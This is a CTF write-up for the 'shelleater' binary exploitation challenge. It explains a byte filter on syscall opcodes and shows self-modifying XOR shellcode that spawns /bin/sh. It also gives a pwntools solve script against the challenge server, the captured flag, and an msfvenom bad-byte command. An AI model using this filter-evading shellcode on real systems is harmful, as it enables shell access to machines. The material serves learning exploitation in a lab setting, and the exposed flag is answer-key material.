This was a fun challenge involving shellcode. I solved it the hard way by writing my own shellcode, but I saw two simpler ways to solve it after the CTF were over so I will briefly discuss those at the end.
We are given a file and a netcat port. Taking a look at the file, all protections are off.
checksec --file=shelleater
[*] '/home/df00/Desktop/shelleater'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Looking at the dissambly, the binary will exectute your shellcode, but not if it contains 0x80 or 0x050f.
void entry(void)
{
long inc;
ulong uVar1;
ulong local_64 [12];
syscall();
syscall();
inc = 0;
do {
if ((*(ulong *)((long)local_64 + inc) & 0xffff) == 0x50f) goto read_bytes.fail;
inc = inc + 1;
} while (inc != 0x60);
inc = 0;
while (uVar1 = *(ulong *)((long)local_64 + inc) & 0xff, uVar1 != 0x80) {
inc = inc + 1;
if (inc == 0x62) {
/* WARNING: Could not recover jumptable at 0x00401086. Too many branches */
/* WARNING: Treating indirect jump as call */
(*(code *)local_64)(0x62,uVar1,0x80);
return;
}
}
read_bytes.fail:
syscall();
syscall();
/* WARNING: Bad instruction - Truncating control flow here */
halt_baddata();
}
int 0x80
is used for syscalls, and 0x050f is the assembly for syscall. Let’s take a look at really simple shellcode:
.global _start
_start:
.intel_syntax noprefix
mov rax, 59
lea rdi, [rip+binsh]
mov rsi, 0
mov rdx, 0
syscall
binsh:
.string "/bin/sh"
We want to call execve("/bin/sh", 0, 0)
. Looking at syscall table https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
, we need 59 in rax and “/bin/sh” in rdi. rsi and rdx are both zero. When we assemble this, we can that our syscal in assembly is 0x0f05 which we cannot use.
objdump -M intel -d shellcode-elf
shellcode-elf: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 c7 c0 3b 00 00 00 mov rax,0x3b
401007: 48 8d 3d 10 00 00 00 lea rdi,[rip+0x10] # 40101e <binsh>
40100e: 48 c7 c6 00 00 00 00 mov rsi,0x0
401015: 48 c7 c2 00 00 00 00 mov rdx,0x0
40101c: 0f 05 syscall
000000000040101e <binsh>:
40101e: 2f (bad)
40101f: 62 (bad)
401020: 69 .byte 0x69
401021: 6e outs dx,BYTE PTR ds:[rsi]
401022: 2f (bad)
401023: 73 68 jae 40108d <binsh+0x6f>
We can make the code modify itself before execution. We can do many different ways for example using add or sub, but I used xor.
.global _start
_start:
.intel_syntax noprefix
xor word ptr [rip+sys], 0x1111
mov rax, 59
lea rdi, [rip+binsh]
mov rsi, 0
mov rdx, 0
sys:
.byte 0x1e
.byte 0x14
binsh:
.string "/bin/sh"
~
At label sys, we write 2 bytes. If we had written 0x0f05, at runtime this would perform a syscall. Instead, what I did was xor 0x0f05 with 0x1111 which is 0x1e14. Then we write 0x1e14 at sys, and xor sys with 0x1111 at the start.
The final solve script:
from pwn import *
target = remote('shelleater.wolvctf.io', 1337)
target.recv()
payload = "\x66\x81\x35\x1c\x00\x00\x00\x11\x11\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\x10\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x1e\x14\x2f\x62\x69\x6e\x2f\x73\x68\x00"
target.sendline(payload)
target.interactive()
And we get our flag:
wctf{1_s3ash3ll_1_3at_1t}
Other solutions
Other solutions I saw written about after the CTF that were much simpler:
msfvenom will generate shellcode for you, and you can specify which bytes to exclude:
msfvenom -p linux/x64/exec -f c CMD=bash -b '\x80\x0f'
Not sure if this is an intended way to solve this challenge, but the buffer for our shellcode is 100 bytes, and the check for 0x80 only checks the first 98 bytes. Looking online we can find lots of examples of shellcode that end in 0x80 and can pad the shellcode to the end of our buffer.